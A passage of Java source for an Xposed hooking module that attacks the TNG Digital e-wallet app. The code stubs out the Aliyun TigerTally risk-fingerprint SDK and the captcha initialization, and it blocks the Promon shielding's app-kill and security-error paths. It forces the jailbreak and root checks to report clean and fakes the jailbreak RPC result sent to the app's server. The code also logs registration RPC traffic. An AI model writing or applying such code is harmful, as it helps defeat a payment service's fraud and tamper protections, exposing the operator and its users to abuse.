|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Aliyun TigerTally:与 Promon 并行的设备指纹/风控 SDK(libtiger_tally.so)。
|
||||
*
|
||||
* ANR 根因(2026-07-31):init 链(TigerTallyAPI.init → initCommon → t.B.genericNt1,
|
||||
* native)会 fork 子进程跑 `getprop ro.build.version.sdk` 并用 pipe 等其 stdout。
|
||||
* Zygisk tng_exit_guard 的 exit_group seccomp 被 fork 继承 → getprop 永不退出 →
|
||||
* fread 永久阻塞 → StartupManager latch 卡死 → Application.onCreate ANR。
|
||||
*
|
||||
* 对策:对 init 链做 beforeHook 短路(跳过 native),启动不再 fork 等待。
|
||||
* 其它方法保留 afterHook 清异常软化。
|
||||
*/
|
||||
private static void hookTigerTally(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
String[] classes = {
|
||||
"com.aliyun.TigerTally.TigerTallyAPI",
|
||||
"com.aliyun.TigerTally.t.B",
|
||||
"com.aliyun.TigerTally.t.C",
|
||||
"com.aliyun.TigerTally.s.A",
|
||||
};
|
||||
for (String className : classes) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
int hooked = 0;
|
||||
int shorted = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (Modifier.isAbstract(method.getModifiers())) {
|
||||
continue;
|
||||
}
|
||||
// 不拦 Object 基础方法
|
||||
String name = method.getName();
|
||||
if ("equals".equals(name) || "hashCode".equals(name)
|
||||
|| "toString".equals(name) || "getClass".equals(name)) {
|
||||
continue;
|
||||
}
|
||||
final boolean sc = isTigerShortCircuit(className, name);
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (sc) {
|
||||
XposedBridge.log(TAG + " TigerTally SC "
|
||||
+ className + "#" + method.getName());
|
||||
setSafeHookResult(param, method);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (sc) {
|
||||
return;
|
||||
}
|
||||
if (param.hasThrowable()) {
|
||||
XposedBridge.log(TAG + " TigerTally err "
|
||||
+ className + "#" + method.getName()
|
||||
+ " " + param.getThrowable().getClass().getSimpleName()
|
||||
+ ": " + param.getThrowable().getMessage());
|
||||
param.setThrowable(null);
|
||||
setSafeHookResult(param, method);
|
||||
}
|
||||
}
|
||||
});
|
||||
if (sc) {
|
||||
shorted++;
|
||||
}
|
||||
hooked++;
|
||||
}
|
||||
XposedBridge.log(TAG + " hooked TigerTally " + className
|
||||
+ " methods=" + hooked + " sc=" + shorted);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " TigerTally " + className
|
||||
+ " hook skipped: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* seccomp 开着时:必须 stub init/initCommon/genericNt1,否则 fork getprop 卡死。
|
||||
* seccomp 关且非登录优先:只 stub genericNt1 探测。
|
||||
*/
|
||||
private static boolean isTigerShortCircuit(String className, String methodName) {
|
||||
if ("com.aliyun.TigerTally.TigerTallyAPI".equals(className)
|
||||
|| "com.aliyun.TigerTally.t.B".equals(className)
|
||||
|| "com.aliyun.TigerTally.t.C".equals(className)) {
|
||||
if ("init".equals(methodName) || "initCommon".equals(methodName)
|
||||
|| "genericNt1".equals(methodName) || "initialize".equals(methodName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return "com.aliyun.TigerTally.t.B".equals(className)
|
||||
&& "genericNt1".equals(methodName);
|
||||
}
|
||||
|
||||
/** TNG 封装层:CaptchaInitializer / TigerTallyApiWrapper 直接 noop,避免 Startup latch 卡住。 */
|
||||
private static void hookTigerTallyAppWrappers(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
String[] classes = {
|
||||
"my.com.tngdigital.captcha.TigerTallyApiWrapper",
|
||||
"my.com.tngdigital.app.launcher.initializer.CaptchaInitializer",
|
||||
};
|
||||
for (String className : classes) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
int n = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
String name = method.getName();
|
||||
if (!"initialize".equals(name) && !"init".equals(name)
|
||||
&& !"create".equals(name)) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
XposedBridge.log(TAG + " TigerTally wrapper SC "
|
||||
+ className + "#" + method.getName());
|
||||
setSafeHookResult(param, method);
|
||||
}
|
||||
});
|
||||
n++;
|
||||
}
|
||||
XposedBridge.log(TAG + " hooked TigerTally wrapper " + className + " n=" + n);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " TigerTally wrapper " + className
|
||||
+ " skipped: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** 拦截 ActivityThread / Handler 触发的应用退出(Promon 常走 native→H.exit)。 */
|
||||
private static void hookActivityThreadExit(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
hookActivityThreadExitMethods(null);
|
||||
hookActivityThreadExitMethods(lpparam.classLoader);
|
||||
hookActivityThreadHandlerExit(lpparam);
|
||||
hookShutdownExit();
|
||||
}
|
||||
|
||||
private static void hookActivityThreadExitMethods(ClassLoader classLoader) {
|
||||
try {
|
||||
Class<?> atClass = XposedHelpers.findClass("android.app.ActivityThread", classLoader);
|
||||
int hooked = 0;
|
||||
for (Method method : atClass.getDeclaredMethods()) {
|
||||
String name = method.getName();
|
||||
if (!isActivityThreadExitMethod(name)) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
XposedBridge.log(TAG + " blocked ActivityThread#" + name);
|
||||
setSafeHookResult(param, method);
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
XposedBridge.log(TAG + " registered ActivityThread exit hook: " + name);
|
||||
}
|
||||
if (hooked > 0) {
|
||||
XposedBridge.log(TAG + " hooked " + hooked + " ActivityThread exit method(s)"
|
||||
+ (classLoader == null ? " [boot]" : " [app]"));
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " ActivityThread exit hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 仅拦截真正执行退出的方法,勿匹配 isHandleSplashScreenExit 等查询方法。 */
|
||||
private static boolean isActivityThreadExitMethod(String name) {
|
||||
if (name.startsWith("is") || name.startsWith("get") || name.startsWith("has")) {
|
||||
return false;
|
||||
}
|
||||
String lower = name.toLowerCase(Locale.US);
|
||||
return lower.contains("exitapplication")
|
||||
|| lower.equals("exit")
|
||||
|| lower.contains("handleexit")
|
||||
|| lower.contains("appexit");
|
||||
}
|
||||
|
||||
/** 拦截 EXIT_APPLICATION 等 Handler 消息(Android 16 上 handleExitApplication 签名已变)。 */
|
||||
private static void hookActivityThreadHandlerExit(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
Class<?> handlerClass = XposedHelpers.findClass("android.app.ActivityThread$H", lpparam.classLoader);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
handlerClass,
|
||||
"handleMessage",
|
||||
Message.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Message msg = (Message) param.args[0];
|
||||
if (msg == null) {
|
||||
return;
|
||||
}
|
||||
int what = msg.what;
|
||||
// AOSP: KILL_APPLICATION=109, EXIT_APPLICATION=111
|
||||
if (what == 109 || what == 111) {
|
||||
XposedBridge.log(TAG + " blocked ActivityThread$H msg.what=" + what);
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked ActivityThread$H.handleMessage");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " ActivityThread$H hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookShutdownExit() {
|
||||
try {
|
||||
Class<?> shutdownClass = Class.forName("java.lang.Shutdown");
|
||||
XposedHelpers.findAndHookMethod(
|
||||
shutdownClass,
|
||||
"exit",
|
||||
int.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
XposedBridge.log(TAG + " blocked Shutdown.exit(" + param.args[0] + ")");
|
||||
param.setResult(null);
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked Shutdown.exit");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Shutdown.exit hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 阻止 RuntimeInit 默认 handler 因 Promon W 异常杀进程。 */
|
||||
private static void hookKillApplicationHandler(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
Class<?> handlerClass = XposedHelpers.findClass(
|
||||
"com.android.internal.os.RuntimeInit$KillApplicationHandler",
|
||||
lpparam.classLoader);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
handlerClass,
|
||||
"uncaughtException",
|
||||
Thread.class,
|
||||
Throwable.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Throwable t = (Throwable) param.args[1];
|
||||
if (t == null || !isPromonThrowableName(t.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
XposedBridge.log(TAG + " blocked KillApplicationHandler for "
|
||||
+ t.getClass().getSimpleName()
|
||||
+ " proc=" + lpparam.processName);
|
||||
param.setResult(null);
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked RuntimeInit$KillApplicationHandler");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " KillApplicationHandler hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** Promon / SecurityError 强制退出倒计时。 */
|
||||
/**
|
||||
* dexdump 定位:UnhandledEvent 走
|
||||
* AppSecurityManager.showSecurityScreenForState → _ContextKt.finishAllActivityAndKillApp。
|
||||
* 这是 UserLogin 之后 Java 层杀进程的主路径之一。
|
||||
*/
|
||||
private static void hookFinishAllActivityAndKillApp(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
String[] classes = {
|
||||
"my.com.tngdigital.common.internal._ContextKt",
|
||||
"my.com.tngdigital.common.internal.ContextKt",
|
||||
};
|
||||
for (String className : classes) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
int hooked = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
String name = method.getName();
|
||||
if (!name.toLowerCase(Locale.US).contains("finishall")
|
||||
&& !name.toLowerCase(Locale.US).contains("killapp")
|
||||
&& !name.equals("finishAllActivityAndKillApp")) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
XposedBridge.log(TAG + " blocked " + className + "#" + name);
|
||||
param.setResult(null);
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
}
|
||||
if (hooked > 0) {
|
||||
XposedBridge.log(TAG + " hooked " + hooked + " kill-app method(s) in " + className);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + className + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** 消费 Promon Java 层安全回调,避免检测后走 SecurityError / native fallback 退出链。 */
|
||||
private static void hookAppSecurityCallbacks(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(
|
||||
"my.com.tngdigital.common.security.shielding.AppSecurityManager",
|
||||
lpparam.classLoader);
|
||||
int hooked = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
String name = method.getName();
|
||||
if (!name.startsWith("handle") || !name.endsWith("Callback")) {
|
||||
continue;
|
||||
}
|
||||
hookMethodNoopSilent(method);
|
||||
hooked++;
|
||||
}
|
||||
if (hooked > 0) {
|
||||
XposedBridge.log(TAG + " hooked " + hooked + " AppSecurityManager callback(s) (silent)");
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " AppSecurityManager callbacks hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookSecurityUrlOpeners(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
String[] classes = {
|
||||
"my.com.tngdigital.common.security.shielding.AppSecurityManager",
|
||||
"my.com.tngdigital.common.security.ui.SecurityErrorBaseActivity",
|
||||
"my.com.tngdigital.common.security.ui.SecurityErrorActivity",
|
||||
"my.com.tngdigital.common.security.shielding.utils.HelperKt",
|
||||
"my.com.tngdigital.app.launcher.initializer.AppSecurityInitializer",
|
||||
};
|
||||
String[] methods = {
|
||||
"openSecurityUrl", "openUrlByBrowser", "openBrowser", "openUrl",
|
||||
"openWebUrl",
|
||||
};
|
||||
for (String className : classes) {
|
||||
for (String methodName : methods) {
|
||||
hookUrlOrCallbackMethod(lpparam, className, methodName);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookUrlOrCallbackMethod(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, String className, String methodName) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
int hooked = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (!methodName.equals(method.getName())) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (param.args != null && param.args.length > 0
|
||||
&& param.args[0] instanceof String) {
|
||||
String url = (String) param.args[0];
|
||||
if (isBlockedSupportUrl(url)) {
|
||||
XposedBridge.log(TAG + " blocked " + className
|
||||
+ "#" + methodName + " url=" + url);
|
||||
setSafeHookResult(param, method);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if ("openSecurityUrl".equals(methodName)
|
||||
|| "openUrlByBrowser".equals(methodName)
|
||||
|| "openBrowser".equals(methodName)) {
|
||||
XposedBridge.log(TAG + " blocked " + className + "#" + methodName);
|
||||
setSafeHookResult(param, method);
|
||||
}
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
}
|
||||
if (hooked > 0) {
|
||||
XposedBridge.log(TAG + " hooked " + hooked + " " + className + "#" + methodName);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
// class/method may not exist in this APK split
|
||||
}
|
||||
}
|
||||
|
||||
/** 高频回调(如 handleTapjackingCallback)禁止逐次打 log,避免复进主线程 ANR。 */
|
||||
private static void hookMethodNoopSilent(Method method) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
setSafeHookResult(param, method);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/** methodName 为 null 时 hook 类内全部方法(用于 Promon 混淆类)。 */
|
||||
private static void hookAllMethodsNoop(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, String className, String methodName) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
int hooked = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (methodName != null && !methodName.equals(method.getName())) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
XposedBridge.log(TAG + " blocked " + className + "#" + method.getName());
|
||||
setSafeHookResult(param, method);
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
}
|
||||
if (hooked > 0) {
|
||||
XposedBridge.log(TAG + " hooked " + hooked + " method(s) in " + className
|
||||
+ (methodName != null ? "#" + methodName : ""));
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + className + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isSecurityErrorIntent(Intent intent) {
|
||||
if (intent == null) {
|
||||
return false;
|
||||
}
|
||||
if (intent.getComponent() != null) {
|
||||
String cls = intent.getComponent().getClassName();
|
||||
if (cls != null && cls.contains("SecurityError")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
String target = intent.getStringExtra("targetActivity");
|
||||
return target != null && target.contains("SecurityError");
|
||||
}
|
||||
|
||||
private static void hookJailBroken(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
hookNoArgVoid(lpparam, "my.com.tngdigital.common.jailbrkendetect.JailBrokenManager",
|
||||
"showJailBrokenAlert");
|
||||
hookNoArgVoid(lpparam, "my.com.tngdigital.common.jailbrkendetect.JailBrokenManager",
|
||||
"showJailBrokenAlert$lambda$15");
|
||||
|
||||
hookReturnFalse(lpparam, "my.com.tngdigital.common.jailbrkendetect.JailBrokenApiImpl",
|
||||
"isJailBroken");
|
||||
hookReturnFalse(lpparam, "my.com.tngdigital.common.jailbrkendetect.JailBrokenApiImpl",
|
||||
"detectJailBroken");
|
||||
hookReturnFalse(lpparam, "my.com.tngdigital.common.jailbrkendetect.JailBrokenManager",
|
||||
"isJailBroken");
|
||||
hookReturnFalse(lpparam, "my.com.tngdigital.common.jailbrkendetect.JailBrokenManager",
|
||||
"detectJailBroken");
|
||||
|
||||
// 以下为 void 回调(非 boolean);触发时弹窗/杀进程,必须 noop。
|
||||
hookNoArgVoid(lpparam, "my.com.tngdigital.common.jailbrkendetect.JailBrokenApiImpl",
|
||||
"onBlockStaticCheck");
|
||||
hookNoArgVoid(lpparam, "my.com.tngdigital.common.jailbrkendetect.JailBrokenApiImpl",
|
||||
"onShowPopupDisable");
|
||||
hookNoArgVoid(lpparam, "my.com.tngdigital.common.jailbrkendetect.JailBrokenApiImpl",
|
||||
"onEmptyToken");
|
||||
hookNoArgVoid(lpparam, "my.com.tngdigital.common.jailbrkendetect.JailBrokenApiImpl",
|
||||
"onRpcCheckValid");
|
||||
|
||||
hookJailBrokenResult(lpparam);
|
||||
}
|
||||
|
||||
/** 拦截 jail.broken.detect RPC:本地直接回调「未越狱」结果,不发网关。 */
|
||||
private static void hookJailBrokenRpc(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
String implClass = "my.com.tngdigital.common.jailbrkendetect.JailBrokenApiImpl";
|
||||
String[] shortCircuitMethods = {
|
||||
"rpcCheckJailBroken",
|
||||
"jailBrokenDetect",
|
||||
"rpcCheck",
|
||||
};
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(implClass, lpparam.classLoader);
|
||||
int hooked = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
String name = method.getName();
|
||||
boolean match = false;
|
||||
for (String target : shortCircuitMethods) {
|
||||
if (target.equals(name)) {
|
||||
match = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!match) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
XposedBridge.log(TAG + " skip jail RPC " + implClass + "#" + name);
|
||||
Object clean = buildCleanJailBrokenResult(lpparam.classLoader);
|
||||
invokeJailBrokenCallbacks(param.args, clean);
|
||||
setSafeHookResult(param, method);
|
||||
}
|
||||
});
|
||||
hooked++;
|
||||
}
|
||||
if (hooked > 0) {
|
||||
XposedBridge.log(TAG + " hooked jail RPC short-circuit methods=" + hooked);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " jail RPC short-circuit failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
hookRpcInvocationJailBypass(lpparam);
|
||||
}
|
||||
|
||||
private static void hookRpcInvocationJailBypass(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
String[] rpcClasses = {
|
||||
"my.com.tngdigital.common.aliservice.quake.TngdRpcInvocationHandlerHost",
|
||||
"com.alipay.imobile.network.quake.rpc.RpcInvocationHandler",
|
||||
};
|
||||
XC_MethodHook rpcHook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
String op = extractRpcOperation(param.args);
|
||||
if (op != null && (isRegistrationRpc(op) || op.contains("phoneCheck"))) {
|
||||
XposedBridge.log(TAG + " RPC req op=" + op + " "
|
||||
+ describeRpcInvocation(param.args));
|
||||
}
|
||||
if (!isJailBrokenRpcInvocation(param.args)) {
|
||||
return;
|
||||
}
|
||||
XposedBridge.log(TAG + " block jail.broken RPC invoke "
|
||||
+ describeRpcInvocation(param.args));
|
||||
Object clean = buildCleanJailBrokenResult(lpparam.classLoader);
|
||||
if (clean != null) {
|
||||
param.setResult(clean);
|
||||
return;
|
||||
}
|
||||
param.setResult(null);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
String op = extractRpcOperation(param.args);
|
||||
if (op == null || (!isRegistrationRpc(op) && !op.contains("phoneCheck"))) {
|
||||
return;
|
||||
}
|
||||
if (param.hasThrowable()) {
|
||||
XposedBridge.log(TAG + " RPC rsp op=" + op + " err "
|
||||
+ param.getThrowable().getClass().getSimpleName()
|
||||
+ ": " + param.getThrowable().getMessage());
|
||||
return;
|
||||
}
|
||||
Object result = param.getResult();
|
||||
String snippet = result != null ? String.valueOf(result) : "null";
|
||||
if (snippet.length() > 800) {
|
||||
snippet = snippet.substring(0, 800) + "...";
|
||||
}
|
||||
XposedBridge.log(TAG + " RPC rsp op=" + op + " body=" + snippet);
|
||||
}
|
||||
};
|
||||
for (String className : rpcClasses) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
int hooked = 0;
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (!"invoke".equals(method.getName())) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, rpcHook);
|
||||
hooked++;
|
||||
}
|
||||
if (hooked > 0) {
|
||||
XposedBridge.log(TAG + " hooked RPC guard+log " + className
|
||||
+ " invoke=" + hooked);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip RPC guard " + className
|
||||
+ ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static String extractRpcOperation(Object[] args) {
|
||||
if (args == null) {
|
||||
return null;
|
||||
}
|
||||
for (Object arg : args) {
|
||||
if (!(arg instanceof String)) {
|
||||
continue;
|
||||
}
|
||||
String text = (String) arg;
|
||||
if (text.startsWith("com.abl.")
|
||||
|| text.startsWith("ap.tngd")
|
||||
|| text.startsWith("alipayplus.")) {
|
||||
return text;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static boolean isRegistrationRpc(String op) {
|
||||
if (op == null) {
|
||||
return false;
|
||||
}
|
||||
String lower = op.toLowerCase(Locale.US);
|
||||
for (String marker : REGISTRATION_RPC_MARKERS) {
|
||||
if (lower.contains(marker)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static boolean isJailBrokenRpcInvocation(Object[] args) {
|
||||
if (args == null) {
|
||||
return false;
|
||||
}
|
||||
for (Object arg : args) {
|
||||
if (arg == null) {
|
||||
continue;
|
||||
}
|
||||
if (arg instanceof Method) {
|
||||
String name = ((Method) arg).getName().toLowerCase(Locale.US);
|
||||
if (name.contains("jail")) {
|
||||
return true;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (arg instanceof String) {
|
||||
String text = ((String) arg).toLowerCase(Locale.US);
|
||||
if (text.contains("jail.broken")
|
||||
|| text.contains("jailbroken")
|
||||
|| text.contains("jail_broken")) {
|
||||
return true;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
// 勿对 RPC 动态代理 toString:会再次进入 invoke 导致栈溢出。
|
||||
if (Proxy.isProxyClass(arg.getClass())) {
|
||||
continue;
|
||||
}
|
||||
Class<?> clazz = arg.getClass();
|
||||
if (clazz.isArray()) {
|
||||
continue;
|
||||
}
|
||||
String simple = clazz.getSimpleName().toLowerCase(Locale.US);
|
||||
if (simple.contains("jailbroken") || simple.contains("jailbrokenrequest")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static String describeRpcInvocation(Object[] args) {
|
||||
if (args == null || args.length == 0) {
|
||||
return "[]";
|
||||
}
|
||||
StringBuilder sb = new StringBuilder("[");
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
if (i > 0) {
|
||||
sb.append(", ");
|
||||
}
|
||||
Object arg = args[i];
|
||||
if (arg instanceof Method) {
|
||||
sb.append("Method=").append(((Method) arg).getName());
|
||||
} else if (arg instanceof String) {
|
||||
String s = (String) arg;
|
||||
sb.append(s.length() > 120 ? s.substring(0, 120) + "..." : s);
|
||||
} else if (Proxy.isProxyClass(arg.getClass())) {
|
||||
sb.append("Proxy=").append(arg.getClass().getInterfaces()[0].getSimpleName());
|
||||
} else {
|
||||
sb.append(arg.getClass().getSimpleName());
|
||||
}
|
||||
}
|
||||
sb.append("]");
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static Object buildCleanJailBrokenResult(ClassLoader loader) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(
|
||||
"my.com.tngdigital.common.jailbrkendetect.JailBrokenResult", loader);
|
||||
for (Constructor<?> constructor : clazz.getDeclaredConstructors()) {
|
||||
Class<?>[] types = constructor.getParameterTypes();
|
||||
Object[] args = new Object[types.length];
|
||||
boolean ok = true;
|
||||
for (int i = 0; i < types.length; i++) {
|
||||
Class<?> type = types[i];
|
||||
if (type == boolean.class || type == Boolean.class) {
|
||||
args[i] = Boolean.FALSE;
|
||||
} else if (type == String.class) {
|
||||
args[i] = "";
|
||||
} else if (type == int.class) {
|
||||
args[i] = 0;
|
||||
} else if (type == Integer.class) {
|
||||
args[i] = Integer.valueOf(0);
|
||||
} else if (!type.isPrimitive()) {
|
||||
args[i] = null;
|
||||
} else {
|
||||
ok = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!ok) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
constructor.setAccessible(true);
|
||||
Object result = constructor.newInstance(args);
|
||||
sanitizeJailBrokenResult(result);
|
||||
return result;
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " buildCleanJailBrokenResult failed: " + t.getMessage());
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static void sanitizeJailBrokenResult(Object result) {
|
||||
if (result == null) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
for (java.lang.reflect.Field field : result.getClass().getDeclaredFields()) {
|
||||
field.setAccessible(true);
|
||||
String name = field.getName().toLowerCase(Locale.US);
|
||||
Class<?> type = field.getType();
|
||||
if ((type == boolean.class || type == Boolean.class)
|
||||
&& (name.contains("jail") || name.contains("root"))) {
|
||||
field.set(result, Boolean.FALSE);
|
||||
} else if (type == String.class && name.contains("msg")) {
|
||||
field.set(result, "");
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private static void invokeJailBrokenCallbacks(Object[] args, Object cleanResult) {
|
||||
if (args == null || cleanResult == null) {
|
||||
return;
|
||||
}
|
||||
for (Object arg : args) {
|
||||
if (arg == null) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
for (Method method : arg.getClass().getDeclaredMethods()) {
|
||||
if (method.getParameterTypes().length != 1) {
|
||||
continue;
|
||||
}
|
||||
Class<?> paramType = method.getParameterTypes()[0];
|
||||
if (!paramType.getName().contains("JailBrokenResult")) {
|
||||
continue;
|
||||
}
|
||||
method.setAccessible(true);
|
||||
method.invoke(arg, cleanResult);
|
||||
XposedBridge.log(TAG + " delivered clean JailBrokenResult via "
|
||||
+ arg.getClass().getSimpleName() + "#" + method.getName());
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
XposedHelpers.callMethod(arg, "invoke", cleanResult);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookJailBrokenResult(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
Class<?> resultClass = XposedHelpers.findClass(
|
||||
"my.com.tngdigital.common.jailbrkendetect.JailBrokenResult",
|
||||
lpparam.classLoader);
|
||||
for (Method method : resultClass.getDeclaredMethods()) {
|
||||
String name = method.getName();
|
||||
Class<?> returnType = method.getReturnType();
|
||||
if (returnType == boolean.class || returnType == Boolean.class) {
|
||||
if (name.toLowerCase(Locale.US).contains("jail")
|
||||
|| name.toLowerCase(Locale.US).contains("root")) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(false);
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked JailBrokenResult#" + name);
|
||||
}
|
||||
} else if (returnType == String.class
|
||||
&& name.toLowerCase(Locale.US).contains("msg")) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult("");
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked JailBrokenResult#" + name);
|
||||
}
|
